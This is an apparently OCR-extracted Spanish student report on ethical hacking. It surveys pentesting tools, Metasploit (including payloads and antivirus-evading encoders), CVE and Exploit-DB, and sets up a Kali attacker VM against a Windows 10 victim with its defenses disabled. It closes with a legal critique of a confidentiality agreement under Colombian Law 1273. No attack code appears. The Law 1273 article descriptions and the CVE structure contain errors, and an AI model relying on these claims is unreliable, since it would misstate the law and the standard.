funcionalidades avanzadas para pruebas de seguridad de aplicaciones web.
Acunetix: Un escaner de vulnerabilidades web automatizado que detecta y explota
vulnerabilidades en aplicaciones web.26

Nessus Professional: Un escaner de vulnerabilidades de red que identifica
vulnerabilidades, configuraciones incorrectas y malware en redes y sistemas.

Core Impact: Una herramienta de prueba de penetracion completa que incluye
exploits, ingenieria social y funcionalidades de analisis de vulnerabilidades.

Cobalt Strike: Una herramienta de simulacibn de amenazas que permite a los
equipos de seguridad emular ataques y mejorar la postura de seguridad de la

organizacion.

24 ENGLAND, Robert; PIERCE, Jamey; WYLIE, Jeremiah. Penetration Testing For Dummies. Hoboken: John Wiley &
Sons, 2020. pp. 56-65.

25 OWASP. Vulnerability Scanning Tools. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://owasp.org/www-community/Vulnerability Scanning Tools.

26 ACUNETIX. Acunetix. [En linea). Consultado el 27 de julio de 2024. Disponible en: https://www.acunetix.com/.
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6. ANALISIS METAEXPLOIT.

3. METASPLOIT ES QUIZAS UNA DE LAS HERRAMIENTAS DE IMPORTANCIA EN
EL CAMPO DE LA SEGURIDAD; ALGUNOS HACKERS EXPERTOS DESARROLLAN
SUS PROPIOS FRAMEWORKS, OTROS DECIDEN UTILIZAR FRAMEWORKS
EXISTENTES, POR ELLO SU TRABAJO EN ESTE APARTADO ES BUSCAR EL
FUNCIONAMIENTO, ARQUITECTURA Y OPCIONES QUE TRAE METASPLOIT EL
CUAL SE ENCUENTRA DISPONIBLE DESDE KALI LINUX.

Metasploit es una herramienta extremadamente versatil que ofrece una amplia gama de
funcionalidades para llevar a cabo pruebas de penetracion y evaluaciones de seguridad
de manera efectiva.?’” Sin embargo, es importante utilizar Metasploit de manera ética y
legal, ya que su mal uso puede tener consecuencias graves. Metasploit es una de las
herramientas mas populares y poderosas en el campo de la seguridad informatica y
pentesting.?® A continuaciéon, mostrare una vision general del funcionamiento, la

arguitectura y las opciones que ofrece Metasploit, que esta disponible en Kali Linux. 2°

6.1.Herramientas de Codigo Abierto:

- Exploracién y Recopilacion de Informacion:
Metasploit permite a los usuarios escanear redes y sistemas para identificar

vulnerabilidades y recopilar informacion sobre ellos.

27 CASTRO, Carlos. Pruebas de Penetracidn e Intrusidn. Bogota: Universidad Piloto de Colombia, 2018.
28 GONZALES COTERA, Breiner. Uso de herramientas de Ethical Hacking con Kali Linux para el diagndstico de

vulnerabilidades de la seguridad de la informacién de la red de la Sede Central de la Universidad de Huanuco.
Hudnuco: Universidad de Huanuco, 2016.

29 METASPLOIT. Metasploit Documentation. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://docs.metasploit.com/
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Explotacion de Vulnerabilidades:
Una vez identificadas las vulnerabilidades, Metasploit ofrece una amplia gama de

exploits y payloads que pueden utilizarse para comprometer sistemas vulnerables.

Post-Explotacion:

Después de comprometer un sistema, Metasploit proporciona herramientas para la
post-explotacion, lo que permite a los usuarios realizar diversas actividades, como la
escalada de privilegios, la persistencia en el sistema comprometido, la recopilacion

de datos, etc.30

6.2.Arquitectura:

Metasploit presenta una arquitectura modular y consta de varios componentes

principales:

Framework Core: Es el nicleo de Metasploit que proporciona la funcionalidad basica
y la interfaz de linea de comandos para interactuar con la herramienta.

Exploits: Estos son los mdédulos que contienen cédigo disefiado para aprovechar
vulnerabilidades especificas en sistemas objetivo.

Payloads: Son fragmentos de cddigo que se ejecutan en sistemas comprometidos
después de que se haya explotado una vulnerabilidad. Los payloads pueden utilizarse
para diversas acciones, como el acceso remoto, la escalada de privilegios, la
exfiltracion de datos, etc.

Auxiliary Modules: Proporcionan funcionalidades adicionales, como el escaneo de
puertos, la recopilacion de informacion, la denegacion de servicio, etc.
Post-Explotation Modules: Permiten a los usuarios realizar acciones especificas en

sistemas comprometidos después de una explotacién exitosa.

30 METASPLOIT. Metasploit Documentation. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://docs.metasploit.com/
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- Encoders: Estos médulos se utilizan para evadir la deteccion de antivirus y otros

mecanismos de seguridad mediante la codificacion de payloads.

6.3.0Opciones y Capacidades:

Interfaz Gréafica de Usuario (GUI): Metasploit también ofrece una interfaz grafica

de usuario llamada Armitage, que proporciona una forma mas visual de
interactuar con la herramienta.

- Scripting y Automatizacion: Metasploit es altamente flexible y permite a los
usuarios escribir scripts personalizados para automatizar tareas especificas o
crear sus propios modulos.

- Integracion con Otras Herramientas: Metasploit se integra facilmente con otras
herramientas de seguridad y pentesting, lo que permite a los usuarios combinar
su funcionalidad para obtener mejores resultados.

- Base de Datos de Exploits y Vulnerabilidades: Metasploit cuenta con una
amplia base de datos de exploits y vulnerabilidades, lo que facilita la identificacion

y explotacién de sistemas vulnerables.3!

31 METASPLOIT. Metasploit Documentation. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://docs.metasploit.com/
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4. AL MOMENTO DE BUSCAR VULNERABILIDADES PARA QUE ESTAS SEAN
EXPLOTADAS POR MEDIO DE ALGUN METASPLOIT LOS EXPERTOS EN
CIBERSEGURIDAD REQUIEREN COMPRENDER QUE ES UN CVE Y SI ESTE
CONTIENE ALGUN EXPLOIT PARA EXPLOTAR LA VULNERABILIDAD
ENCONTRADA. DENTRO DEL PROCESO DESCRITO EN ESTE APARTADO USTED
COMO EXPERTO EN CIBSERGURIDAD DEBE BUSCAR Y DOCUMENTAR LO
SIGUIENTE:

7. ¢QUE ES UN CVE Y SU ESTRUCTURA?

CVE, que significa "Common Vulnerabilites and Exposures” (Vulnerabilidades y
Exposiciones Comunes), es un sistema utlizado para identificar y nombrar
vulnerabilidades de seguridad en software. Su principal objetivo es establecer un
estdndar comun para identificar y referenciar publicamente las vulnerabilidades

conocidas tanto en software como en hardware..3?

7.1.Estructura de un CVE:

Un CVE consta de varios elementos que forman su estructura identificativa:

1. Prefijo "CVE-": Todos los identificadores de CVE comienzan con las letras "CVE-

", seguidas de un afio y un namero unico.

2. Afio: El aiio en el que se asigno el identificador CVE. Por ejemplo, CVE-2022.

32 p|CUS SECURITY. What is Common Vulnerabilities and Exposures (CVE). [En linea]. Consultado el 27 de julio de
2024. Disponible en: https://www.picussecurity.com/resource/glossary/what-is-common-vulnerabilities-and-
exposures-cve.
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3. Numero Secuencial: Un numero secuencial Unico asignado dentro de un afio
especifico. Por ejemplo, CVE-2022-12345.

4. ldentificador de la Vulnerabilidad: El niamero secuencial es seguido por un
identificador anico para la vulnerabilidad especifica. Este identificador no tiene un

formato estandar y puede consistir en nimeros, letras y guiones.
Ejemplo de Estructura de un CVE:

Por ejemplo, el CVE-2022-12345 identifica una vulnerabilidad especifica que fue

asignada en el afio 2022 y es la nimero 12345 dentro de ese afio.®?

Uso y Significado:

Los identificadores CVE se utilizan ampliamente en la industria de la seguridad
informética para referenciar y comunicar vulnerabilidades conocidas. Cuando se
descubre una nueva vulnerabilidad, se asigna un identificador CVE Unico, lo que permite
a los investigadores, administradores de sistemas, proveedores de software y otros
actores de la industria hacer referencia a esa vulnerabilidad de manera consistente y
univoca en sus comunicaciones y documentacion34. Esto facilita la gestion de la
seguridad informatica, la divulgacion de informacién sobre vulnerabilidades y la
implementacion de parches y soluciones por parte de los usuarios y los proveedores de

software.

* https:/lwww.exploit-db.com/ cdmo se utilizay cémo se articula con el CVE?

Exploit-DB es un repositorio en linea que recopila exploits y técnicas de explotacién,
siendo una herramienta esencial para la investigacion y la seguridad informatica. Aunque

no esta directamente vinculado al sistema CVE, ofrece informacion valiosa sobre

33 NIST. CVE-2022-1234. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://nvd.nist.gov/vuln/detail/cve-2022-1234.
34 KIM, David; SOLOMON, Michael G. Principles of Information Security. Cengage Learning, 2018.
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vulnerabilidades y exploits que complementa los datos del CVE. A continuacion, se

explica como utilizar y relacionar Exploit-DB con el sistema CVE.3®

7.2.Utilizacion de Exploit-DB:

Busqueda de Exploits: Los usuarios pueden buscar exploits en Exploit-DB
utilizando diversos criterios, como el nombre del software, el tipo de vulnerabilidad,

el autor del exploit, etc.

Exploracion de Vulnerabilidades: Exploit-DB proporciona detalles sobre
vulnerabilidades especificas, incluyendo descripciones, pruebas de concepto
(PoCs) y enlaces a exploits relacionados.3®

Desarrollo y Prueba: Los investigadores de seguridad pueden utilizar exploits
disponibles en Exploit-DB para probar la seguridad de sistemas y aplicaciones, asi
como para desarrollar y probar soluciones de mitigacion.

Aprendizaje y Educacion: Exploit-DB también puede ser utilizado con fines
educativos, permitiendo a los estudiantes y profesionales de la seguridad
informatica estudiar y entender cémo funcionan los exploits y como se pueden

proteger los sistemas contra ellos.3’

35 HOLM SECURITY. What is Exploit-DB Database. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://support.holmsecurity.com/knowledge/what-is-exploit-db-database.

36 KEEPCODING. ¢Qué es ExploitDB?. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://keepcoding.io/blog/que-es-exploitdb/.

37 |bid.
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7.3.Articulaciéon con el CVE:

Referencia a Identificadores CVE:

Frecuentemente, los exploits listados en Exploit-DB estan vinculados a identificadores
CVE una vez que la vulnerabilidad correspondiente ha sido identificada y reportada. En
sus descripciones, los exploits pueden mencionar el identificador CVE para ofrecer un
contexto adicional sobre la vulnerabilidad que estan aprovechando..

Vinculos con Informacién Relacionada:

Los detalles de los exploits en Exploit-DB pueden incluir enlaces a fuentes de informacién
adicionales, como boletines de seguridad, informes de vulnerabilidades y referencias a
CVEs relacionados. Esto facilita que los usuarios accedan a mas informacion sobre la

vulnerabilidad y comprendan su posible impacto.3°.

Complemento a la Informacion CVE:

Aungue CVE se enfoca en identificar y referenciar vulnerabilidades conocidas, Exploit-
DB puede ofrecer detalles adicionales, como exploits especificos y pruebas de concepto.
Esta informacion es valiosa para los investigadores de seguridad, ya que les ayuda a

comprender mejor como se puede explotar una vulnerabilidad y como mitigarlo.

Aungue Exploit-DB no esta directamente vinculado con el sistema CVE, puede ser una

herramienta valiosa para obtener informacion sobre vulnerabilidades y exploits,

38 HOLM SECURITY. What is Exploit-DB Database. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://support.holmsecurity.com/knowledge/what-is-exploit-db-database.Exploit Database. (n.d.). Exploit-
db.com. Retrieved April 14, 2024, from https://www.exploit-db.com/.

¥ ibid
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complementando la informacion proporcionada por CVE y ayudando a los profesionales

de la seguridad informatica en su investigacion y trabajo diario.*°

Paso D: Evidenciar con printscreen el montaje del banco de trabajo y explicar como se

encuentra desplegado “caracteristicas técnicas de hardware”.

Paso A: Descargar la herramienta virtualizadora “VirtualBox” en su ultima version.

https://www.virtualbox.org/wiki/Downloads.

BANCO DE TRABAJO

Figura 1. Descarga de VirtualBox.
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Fuente: Elaboracion propia.

Paso B: Para el banco de trabajo se requieren 2 maquinas virtuales, una con Kali Linux
(la version que tengan) y la otra maquina debera ser un Windows 10 con todo su sistema

de seguridad abajo (Windows defender, anti virus, firewall entre otros). El Windows 10 no

40 SECURITYTRAILS. Top Exploit Databases. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://securitytrails.com/blog/top-exploit-databases
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requiere que esté licenciado, la version basica que genera Microsoft es suficiente y lo
pueden descargar directamente de la pagina web

https://www.microsoft.com/eses/softwaredownload/windows10, o si cuentan con alguna

imagen de Windows 10 la podrén utilizar. Para Kali Linux lo podran descargar de su pagina

oficial: https://www.kali.org/getkali/#kali-platforms

Figura 2. Descarga de Kali Linux.

@ Segunce intemat @ Wabrecurtyes B Novins e Sugurit. (I Vipesec - Soporce.. @ Sacunoipmepeds @ SwoudeSeguidad.. (I Nowight w8 Hacking = sous. [ tiiotocs Bucpkn @R Backpiot anTe

KALI

Choose your
fo

"a Installer Images Virtual Machines
&\ .

=4 g
&

ARM Mobile «~  Cloud
e ~
FRRR

n O Busca

Fuente: Elaboracion propia.

Figura 3. Descarga de Windows 10.
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Fuente: Elaboracion propia.

Paso D: Evidenciar con printscreen el montaje del banco de trabajo y explicar como se

encuentra desplegado “caracteristicas técnicas de hardware”.

Figura 4. Montaje banco de trabajo.
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Fuente: Elaboracion propia.

Figura 5. Configuracién de banco de trabajo.
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Figura 6. Configuracién de almacenamiento.
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Fuente: Elaboracion propia.

Figura 7. Configuracién de memoria RAM.
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Fuente: Elaboracion propia.

Figura 8. Configuracién de carpeta principal de la maquina virtual.
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INSTALACION DE WINDOWS 10:
Figura 9. Instalacion de maquina virtual victima.
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Figura 10. Instalacion de Windows 10.
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Fuente: Elaboracion propia.

Figura 11. Serial activacion de Windows 10.
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Fuente: Elaboracion propia.
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Figura 12. Seleccion de version a instalar de sistema operativo.
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Figura 13. Aceptar términos y condiciones
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Figura 14. Configurar particiones de Disco.

Fuente: Elaboracion propia.

Figura 15. Creando particiones.
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Fuente: Elaboracion propia.
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Figura 16. Formateando.
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Fuente: Elaboracion propia.

Figura 17. Instalando los servicios de Windows.

L]

< | winoows 10
< Comends

@ VirtualBox

Iniciando servicios

Fuente: Elaboracion propia.

49



Figura 18. Instalando actualizaciones.

VoW Miars Ve Ewad Depites Ands

Obteniendo actualizaciones

importantes

No apagues el equipo

= RS W " m ¢ O m e F @ v €

Fuente: Elaboracion propia.

Figura 19. Escritorio de Windows.
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INSTALACION KALI LINUX:

Figura 20. Instalando maquina atacante.
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Figura 21. Configurando Kali Linux.
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Figura 22. Configurando zona horaria.
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Figura 23. Configurando pais.
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Fuente: Elaboracién propia.
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Figura 24. Configurando idioma del teclado.
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Configure el teclado

Mapa de teclado a usar:
Canarés 0]
Kazajo

Jemer

Kirghizo

Coreano

Kurdo (variante F)

Kurdo (variante Q)

Laosiano

Leton

Lituano

Macedonio

Malayalamo

Nepalés

Sami septentrional

Noruego

Persa 0]
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Fuente: Elaboracion propia.

Figura 25. Detectando medios de instalacién
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Fuente: Elaboracion propia.
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Figura 26. Configuraciéon de la maquina.
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Configurar la red
Por favor, introduzca el nombre de la maquina.
El nombre de maquina es una sola palabra que identifica el sistema en la red. Consulte al administrador de red
si no sabe qué nombre deberia tener. i esta configurando una red doméstica puede inventarse este nombre.
Nombre de la maquina:
kali
Capturar la pantalla Retroceder | [‘ Continuar
QUL
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Fuente: Elaboracion propia.

Figura 27. Configurando nombre de dominio.
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Configurar la red
El nombre de dominio es la parte de su direccion de Internet a la derecha del nombre de sistema.
Habitualmente es algo que termina por .com, .net, .edu, o -org. Puede inventarselo si esta instalando una red
domeéstica, pero asegiirese de utilizar el mismo nombre de dominio en todos sus ordenadores.
Nombre de dominio:
kali.net
Capturar la pantalla Retroceder | [ Continuar )
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Fuente: Elaboracion propia.
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Figura 28. Configurando nombre completo del usuario.
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Configurar usuarios y contrasefias
Se creard una cuenta de usuario para que |a use en vez de la cuenta de superusuario en sus tareas que no
sean administrativas.
Por favor, introduzca el nombre real de este usuario. Esta informacion se usars, por ejemplo, como el origen
predeterminado para los correos enviados por el ustario o como fuente de informacion para los programas que
muestren el nombre real del usuario. Su nombre completo es una eleccién razonable.
Nombre completo para el nuevo usuaric:
INGJOSECASTRO
Capturar la pantalla Retroceder ‘ [ Continuar l
Bob&as Gl @ (3] cTreoerecHa
H R Buscar N7 - 5 E® gz
Fuente: Elaboracion propia
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Configurar usuarios y contrasefias
Seleccione un nombre de usuario para la nueva cuenta. Su nombre, sin apellidos ni espacios, es una eleccién
razonable. El nombre de usuario debe empezar con una letra miniscula, seguida de cualquier combinacién de
numeros y mas letras mingsculas.
Nombre de usuario para la cuenta:
fr eares
Capturar la pantalla Retroceder | [ Continuar
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Fuente: Elaboracion propia.
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Figura 30. Configurando contrasefia.
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Configurar usuarios y contrasefias

Una buena contraseia debe contener una mezcla de letras, nimeros y signos de puntuacién, y debe
cambiarse regularmente.

Elja una contraserta para el nuevo usuario:

A

[J Mostrar la contrasefia en claro

Por favor, intreduzca la misma contrasefia de usuario de nuevo para verificar que la introdujo correctamente.
Vuelva a introducir la contrasefia para su verificacion:

[J Mostrar la contrasefia en claro

Capturar la pantalla Retroceder | [ Continuar
EOE& s B Hl 6 cr omeca
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Fuente: Elaboracion propia.

Figura 31. Insertando contrasefa.
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Configurar usuarios y contrasefias

Contrasefia vacia
No se permiten contrasefias vacias. Por favor, introduzca la contraseiia otra vez.

Una buena contrasefia debe contener una mezcla de letras, nimeros y signos de puntuacién, y debe
cambiarse regularmente.

Elja una contrasena para el nuevo usuario:

[] Mostrar la contrasefia en claro

Por favor, introduzca la misma contrasefia de usuario de nuevo para verificar que la introdujo correctamente.
Vuelva a introducir la contrasefia para su verificacidn:

[

[] Mostrar la contrasefia en claro

ool A

Ccapturar la pantalla Retroceder | [ Continuar
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Fuente: Elaboracion propia.
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Figura 32. Particionando Discos.
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Particionado de discos

Este instalador puede guiarle en el particionado del disco (utilizando distintos esquemas estandar) o, si lo

desea, puede hacerlo de forma manual. Si escoge el sistema de particionado guiado tendra la oportunidad
mas adelante de revisar y adaptar los resultados.

Se le preguntara qué disco a utilizar si elige particionado guiado para un disco completo.
Método de particionado:

Guiado - utilizar todo el

Guiado - utilizar el disco completo y configurar LVM

Guiado - utilizar tedo el disco y configurar LVM cifrade
Manual

Capturar Ia pantalla | Retroceder | [ Continuar Tt

Beokdgs @ [#] crre pEreCHA
= PR ' %

tm 7z Q) EsP

Fuente: Elaboracion propia.

Figura 33. Seleccionando Disco a particionar.
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Pa

ionado de discos

Tenga en cuenta que se borraran todos los datos en el disco que ha seleccionado. Este borrade no se realizara
hasta que confirme que realmente quiere hacer los cambios.

Elifa disco a particionar:

SCSI3 ((

) (sda

‘GB ATA VBOX HARDDISK

Capturar la pantalla Retroceder | [ Continuar
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Fuente: Elaboracion propia
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Figura 34. Finalizando particionando.
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KALI

Particionado de discos

Seleccionado para particionar:

SCSI3 (0,0,0) (sda) - ATA VBOX HARDDISK: 26.8 GB

Este disco puede particionarse siguiendo uno o varios de los diferentes esquemas disponibles.

seguro, escoja el primero de ellos.
Esquema de particionado:
Todos los ficheros en una pa
Separar la particion /home

Separar particiones /home, /var y ftmp

Capturar la pantalla

"

Fuente: Elaboracion propia.

Figura 35. Guardando cambios.
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P
para modificar sus valores (sistema de ficheros, puntos de m
o un dispositivo para inicializar la tabla de particiones.

Particionado guiado

Configurar RAID por software

Configurar el Gestor de Volimenes Légicos (LVM)
Configurar los volimenes cifrados

Configurar los volimenes iSCSI

= SCSI3(0,0,0) (sda) - 26.8 GB ATA VBOX HARDDISK
> #1 primaria  25.8 GB f exta
> #35  légica 1.0GB f intercambio
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Fuente: Elaboracion propia.
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Figura 36. Escribiendo cambios.
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Particionado de discos

Se escribiran en los discos todos los cambios indicados a continuacion si continida. Si ne lo hace podra hacer
cambios manualmente.

Se han modificado las tablas de particiones de los siguientes dispositivos:
SCSI3 (0,0,0) (sda)

Se formatearan las siguientes particiones:
particién #1 de SCSI3 (0,0,0) (sda) como ext4
particién #5 de SCSI3 (0,0,0) (sda) como intercambio

Desea escribir los cambios en los discos?

O No

@/si|

GOk | B 8]® B croeecha

Z ) ESP

)

Fuente: Elaboracion propia.

Figura 37. Configurando paquetes a instalar.
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Seleccién de programas

At the moment, only the core of the system is installed. The default selections below will install Kali Linux with

its standard desktop environment and the default tools.

You can customize it by choosing a different desktop environment or a different collection of tools.
Choose software to install:

nment [selecting this item has no effect]
Xfce (Kali's default desktop environment)

GNOME

KDE Plasma

Collection of tools [selecting this item has no effect]
top10 -- the 10 most popular tools

... default -- recommended tools (available in the live system)

Capturar la pantalla ‘
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Fuente: Elaboracién propia.
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Figura 38. Formateando

KALILINUX [Corriendo] - Oracle VM VirtualBox

Archivo  Maquina Ver Entrada  Dispositivos  Ayuda

o 4@
Integracién de ratsn... ™ &
KALI i

Autocapturar tedado... 5 &
Seleccionar e instalar programas

pre e T rr—

Descargando fichero 2531 de 3265 (falta 38s)

H R Buscar

Fuente: Elaboracion propia.

Figura 39. Configurando gestor de sesiones.
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Configuracion de gdm3

Un gestor de sesiones es un programa que le ofrece la posibilidad de entrar graficamente a su sistema
mediante el sistema X Window.

Sélo puede utilizarse un gestor de sesiones para gestionar un servidor de X concreto, pero existen varios

paquetes de gestores de sesiones instalados. Por favor, seleccione que gestor de sesiones deberia ejecutarse
de manera predeterminada.

Varios gestores de sesiones se pueden ejecutar

i si estan para manejar
diferentes servidores. Para conseguir esto, configure los gestores de sesiones apropiadamente, edite cada

script de init en «/etc/init.d» relacionado con ellos y desactive la comprobacién en busca del gestor de
sesiones predeterminado.

Gestor de sesiones predeterminado:

gdm3

lightdm

sddm
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Fuente: Elaboracién propia.
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Figura 40. Instalando programas.
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Fuente: Elaboracion propia.

Figura 41. Autorizando instalacién de cargador de arranque.
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Instalando el cargador de arranque GRUB

Parece que esta instalacién es el nico sistema operativo en el ordenador. Si esto es asi, puede instalar sin
riesgos el cargador de arranque GRUB en su unidad principal (particion UEFI o registro de arranque).

Advertencia: si su ordenador tiene otro sistema operativo que el instalador no pudo detectar, esto hara que
‘ese sistema operativo no se pueda iniciar temporalmente, aunque GRUB se puede configurar manualmente
mas tarde para iniciarlo.

iDesea instalar el cargador de arranque GRUB en su unidad principal?

O o)
@ si

Capturar la pantalla
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Fuente: Elaboracién propia.
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Figura 42. Configurando gestor de arranque.
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Instalando el cargador de arranque GRUB

Ahora debe configurar el sistema recién instalado para que sea arrancable, instalando para ello el cargador
‘GRUB en un dispositivo del que se pueda arrancar. La forma habitual de hacerlo es instalar GRUB en su unidad

principal (particién UEFI o registro principal de arranque). Si lo prefiere, puede instalar GRUB en cualquier
otra unidad (o particién), o incluso en un medio removible.

Dispositivo donde instalar el cargador de arranque:

Introducir el dispositivo manualmente

/devfsda (ata-VBOX_HARD

Bb0f0855a-3027db89)

N L3
Capturar la pantalla Retroceder | [ Continuar
B oo |5 i 3@ cr oRecia
H P Busear : 3 G & @ ) P
Fuente: Elaboracion propia.
Figura 43. Instalando Grub.
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Fuente: Elaboracién propia.
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Figura 44. Finalizando instalacion de Kali Linux.

KALILINUX [Corriendo] - Oracle VM VirtualBox
Archivo Miquina Ver Entrada Dispositivos  Ayuda

| KALI I

Terminar la instalacion

Instalacion completada

La instalacién se ha completado. Ahora podri arrancar el nuevo sistema. Asegiirese de extraer el
medio de instalacion para que el sistema arranque del disco en lugar de reiniciar la instalacion.

Por favor, elija <Continuars> para reiniciar.

Capturar la pantalla
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Fuente: Elaboracion propia.
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8.1 Despliegue del banco de trabajo.
La maquina virtual de Kali Linux se implement6 con un procesador de 1 solo nucleo, 2

gigabyte de RAM, disco de 30 gigabytes.

Figura 45. Informacion de sistema de maquina atacante
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Fuente: Elaboracion propia.
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Figura 46. Configuracion de procesador maguina atacante.
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Fuente: Elaboracion propia.

Figura 47. Almacenamiento maquina atacante.
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Fuente: Elaboracion propia.

La maquina virtual de Windows 10 se implementé con 4 gigabytes de RAM, procesador

de 1 nucleo, disco duro de 50 gigabytes.
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Figura 48. Configuracién sistema de maquina victima
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Fuente: Elaboracion propia.

Figura 49. Configuracién de procesador maquina victima.
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Fuente: Elaboracion propia.
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Figura 50. Almacenamiento maquina victima.
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Fuente: Elaboracion propia.

Paso C: Debe validar que exista comunicacion entre cada una de las maquinas Windows
y Kali Linux, recuerde por favor no exceder la asignacion de recursos entre las dos
magquinas ya que puede colapsar los recursos hardware de su equipo host, encienda
primero una maquina Windows y posterior a ello encienda la maquina Kali Linux.
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Figura 51. Configuracion de red maquina atacante.
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ingjosecastro@kali

L irconfi
etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.1.47 netmask 255.255.255.0 broadcast 192.168.1.255

net6 2800:e2:4080:820:39ef:694b:8828:b095 prefixlen 64 scopeid 0x0<gl
obal>

inet6 2800:e2:4080:820:a00:27ff:fe7d:5e5b prefixlen 64 scopeid 0x0<glo
bal>

net6 fe80::a00:27ff:fe7d:5e5b prefixlen 64 scopeid 0x20<link>

ether 08:00:27:7d:5e:5b txqueuelen 1000 (Ethernet)

RX packets 2476 bytes 1390844 (1.3 MiB)

RX errors 0 dropped 0 overruns @ frame 0

TX packets 2213 bytes 243239 (237.5 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 28 bytes 1680 (1.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 28 bytes 1680 (1.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
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Fuente: Elaboracion propia.

Figura 52. Configuracién de red de la maquina victima.
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Figura 53. Ping desde la quina atacante a la maquina objetivo.
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bytes from 192.168. : icmp_seq=134 ttl=128
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bytes from : icmp_seq=137 ttl=128
bytes from icmp_seq=138 ttl=128
bytes from icmp_seq=139 ttl=128
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bytes from icmp_se ttl=128
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Fuente: Elaboracion propia.

Figura 54. Ping desde la quina objetivo hacia la maquina atacante.
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8. ETAPA 2 EQUIPOS ESTRATEGICOS EN CIBERSEGURIDAD: RED TEAM BLUE
TEAM.

1. DE MANERA INDIVIDUAL USTED DEBERA LEER EL PROBLEMA QUE SE
ENCUENTRA EN EL ANEXO 2 — ESCENARIO 2, ADEMAS DEBERA LEER Y
ANALIZAR EL ANEXO 3 — ACUERDO PARA GENERAR LA SOLUCION A LAS
SIGUIENTES PREGUNTAS ORIENTADORAS:

¢UNA VEZ LEIDO EL ANEXO 2 — ESCENARIO 2 Y EL ANEXO 3 — ACUERDO, ¢(QUE
PARRAFOS CREE USTED QUE SE TORNAN ILEGALES DENTRO DEL ACUERDO
DE CONFIDENCIALIDAD? EN CASO DE EXISTIR LINEAS DE TEXTO QUE
ORIENTEN EL ACUERDO DE CONFIDENCIALIDAD A PROCESOS ILEGALES
DEBERA RESALTAR, EXPLICAR Y ARGUMENTAR PORQUE SE TORNA ILEGAL
ESTE ACUERDO DE CONFIDENCIALIDAD.

9.1 Andlisis acuerdo de confidencialidad

ACUERDO.

- Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente, ni
a través de ninguna otra persona o de sus subalternos o funcionarios,
autoridades legales, asesores o cualquier persona relacionada con ella, la

informacion confidencial o sobre procesos ilegales dentro de HackerHouse no

podran ser divulgados.
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EXPLICACION Y ARGUMENTACION.

El acuerdo de confidencialidad que se describe establece la obligacion de la parte

receptora de no divulgar informacion confidencial de HackerHouse. Esto es una practica

comun en muchas empresas y organizaciones para proteger sus secretos comerciales,

datos sensibles y otra informacién confidencial.*!

Sin embargo, surge una preocupacion legal en la clausula que menciona la prohibicion

de divulgar informacion sobre "procesos ilegales dentro de HackerHouse". Esta clausula

podria considerarse problematica por varias razones:

Fomenta la Encubierta de Actividades Delictivas: Al prohibir la divulgacion de
informacion sobre actividades ilegales, el acuerdo podria potencialmente estar
incentivando a los empleados a encubrir acciones ilicitas que podrian estar
ocurriendo dentro de la organizacion. Esto contraviene el espiritu de la ley, que

busca prevenir y castigar los delitos informaticos.

Contradiccion con la Ley 1273: La Ley 1273 de Colombia tiene como obijetivo
principal la prevencion y persecucion de los delitos informaticos. Al prohibir la
divulgacion de informacion sobre actividades ilegales dentro de HackerHouse, el

acuerdo podria estar contradiciendo los principios y disposiciones de esta ley.*?

Responsabilidad Legal: Si un empleado tiene conocimiento de actividades
ilegales dentro de la empresa y esta sujeto a este acuerdo de confidencialidad,

podria encontrarse en una situacion legal delicada. Podria enfrentarse a dilemas

41 CASTRO, Martha Irene Romero. Introduccidn a la Seguridad Informatica y el Analisis de Vulnerabilidades.
Alicante: Editorial Area de Innovacién y Desarrollo, S.L., 2018.

42 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica.
Disponible en: https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.
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éticos sobre si cumplir con el acuerdo de confidencialidad o cumplir con su

obligacion de reportar actividades ilegales a las autoridades competentes.
ACUERDO.

Cualquier informacién societaria, técnica, juridica, financiera, comercial, de mercado,
estratégica, de productos, nuevas tecnologias, patentes, modelos de utilidad, disefios
industriales, datos secretos como “datos de chuzadas, interceptacion ilegal de
informacion, accesos abusivos a sistemas informaticos”. parte receptora tenga
conocimiento o a la que tenga acceso por cualquier medio o circunstancia en virtud de

las reuniones sostenidas y/o documentos suministrados.

EXPLICACION Y ARGUMENTACION.

La clausula del acuerdo de confidencialidad que describe varios tipos de informacion,
incluyendo "datos de chuzadas, interceptacion ilegal de informacién, accesos abusivos a
sistemas informaticos", podria potencialmente vulnerar varios articulos de la Ley 1273,
especialmente aquellos relacionados con delitos informaticos y violaciones de la
seguridad informatica #3. A continuacién, proporciono algunos ejemplos de articulos de la

Ley 1273 que podrian ser relevantes:

Articulo 269A - Violacion de Datos Personales: Este articulo establece que
aquellos que, sin autorizacién, accedan, intercepten, interfieran, alteren o ejerzan
control sobre bases de datos personales, incurriran en prision y multas.

Articulo 269B - Violacion de la Privacidad: Este articulo establece que aquellos
gue sin autorizacién accedan a una comunicacion electrénica privada o interfieran
en ella, incurriran en prision y multas.

Articulo 269D - Violacion de Sistemas de Informacion: Este articulo establece

gue aquellos que sin autorizacién accedan, intercepten, interfieran o ejerzan

43 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica. Disponible en:
https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.
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control sobre un sistema informatico, red o medio de comunicacion informéatica,
incurriran en prision y multas.

Articulo 269E - Falsificacion Informética: Este articulo establece que aquellos
que sin autorizacion y con fines fraudulentos manipulen, alteren, destruyan o
eliminen datos o programas informaticos, incurrirdn en prision y multas.

Articulo 269F - Sabotaje Informatico: Este articulo establece que aquellos que
